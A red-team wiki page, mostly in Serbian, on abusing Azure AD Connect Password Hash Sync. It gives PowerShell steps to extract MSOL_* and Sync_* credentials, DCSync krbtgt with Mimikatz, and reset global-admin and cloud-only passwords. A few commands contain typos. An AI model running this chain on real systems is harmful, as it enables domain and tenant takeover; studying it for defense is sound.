Az - PHS - Password Hash Sync

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podrška HackTricks

Osnovne informacije

Iz dokumenata: Sinhronizacija heša lozinke je jedna od metoda prijavljivanja koja se koristi za postizanje hibridnog identiteta. Azure AD Connect sinhronizuje heš, heša, lozinke korisnika iz lokalne Active Directory instance u cloud-baziranu Azure AD instancu.

To je najčešća metoda koju koriste kompanije za sinhronizaciju lokalnog AD sa Azure AD.

Svi korisnici i heš heševa lozinki se sinhronizuju iz lokalnog u Azure AD. Međutim, lozinke u čistom tekstu ili originalni heševi se ne šalju u Azure AD. Štaviše, ugrađene bezbednosne grupe (kao što su administratori domena...) nisu sinhronizovane u Azure AD.

Sinhronizacija heševa se dešava svake 2 minute. Međutim, prema zadatom podešavanju, istek lozinke i istek naloga nisu sinhronizovani u Azure AD. Tako da korisnik čija je lokalna lozinka istekla (nije promenjena) može nastaviti da pristupa Azure resursima koristeći staru lozinku.

Kada lokalni korisnik želi da pristupi Azure resursu, autentifikacija se vrši na Azure AD.

PHS je neophodan za funkcije kao što su Zaštita identiteta i AAD usluge domena.

Pivotiranje

Kada je PHS konfiguran, neka privilegovana naloga se automatski kreiraju:

  • Nalog MSOL_<installationID> se automatski kreira u lokalnom AD. Ovaj nalog dobija ulogu Nalozi za sinhronizaciju direktorijuma (vidi dokumentaciju) što znači da ima dozvole replikacije (DCSync) u lokalnom AD.

  • Nalog Sync_<ime lokalnog ADConnect servera>_installationID se kreira u Azure AD. Ovaj nalog može resetovati lozinku BILO kojem korisniku (sinhronizovanom ili samo u cloudu) u Azure AD.

Lozinke dva prethodna privilegovana naloga su smeštene u SQL server na serveru gde je Azure AD Connect instaliran. Administratori mogu izvući lozinke tih privilegovanih korisnika u čistom tekstu. Baza podataka se nalazi u C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf.

Moguće je izvući konfiguraciju iz jedne od tabela, pri čemu je jedna šifrovana:

SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;

Šifrovana konfiguracija je šifrovana sa DPAPI i sadrži lozinke MSOL_* korisnika u lokalnom AD i lozinku Sync_* u AzureAD. Stoga, kompromitovanjem ovih je moguće privesc do AD i AzureAD.

Možete pronaći potpun pregled o tome kako su ove kredencijale smeštene i dešifrovane u ovom predavanju.

Pronalaženje Azure AD connect servera

Ako je server na kojem je instaliran Azure AD connect pridružen domenu (preporučeno u dokumentima), moguće je pronaći ga sa:

# ActiveDirectory module
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl

#Azure AD module
Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"}

Zloupotreba MSOL_*

# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
Get-AADIntSyncCredentials

# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD
runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'

Možete takođe koristiti adconnectdump da dobijete te kredencijale.

Zloupotreba Sync_*

Kompromitovanjem Sync_* naloga moguće je resetovati lozinku bilo kog korisnika (uključujući Globalne Administratore)

# This command, run previously, will give us alse the creds of this account
Get-AADIntSyncCredentials

# Get access token for Sync_* account
$passwd = ConvertTo-SecureString '<password>' -AsPlainText - Force
$creds = New-Object System.Management.Automation.PSCredential ("Sync_SKIURT-JAUYEH_123123123123@domain.onmicrosoft.com", $passwd)
Get-AADIntAccessTokenForAADGraph -Credentials $creds - SaveToCache

# Get global admins
Get-AADIntGlobalAdmins

# Get the ImmutableId of an on-prem user in Azure AD (this is the Unique Identifier derived from on-prem GUID)
Get-AADIntUser -UserPrincipalName onpremadmin@domain.onmicrosoft.com | select ImmutableId

# Reset the users password
Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustAPass12343.%" -Verbose

# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)

Takođe je moguće modifikovati lozinke samo za cloud korisnike (čak i ako to nije očekivano)

# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
# The CloudAnchor is of the format USER_ObjectID.
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID

# Reset password
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers

Moguće je izvući lozinku ovog korisnika.

Druga opcija bi bila da dodelite privilegovane dozvole servisnom principalu, što Sync korisnik ima dozvole da uradi, a zatim pristupite tom servisnom principalu kao način privesc.

Seamless SSO

Moguće je koristiti Seamless SSO sa PHS, koji je podložan drugim zloupotrebama. Proverite to u:

Az - Seamless SSO

Reference

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Last updated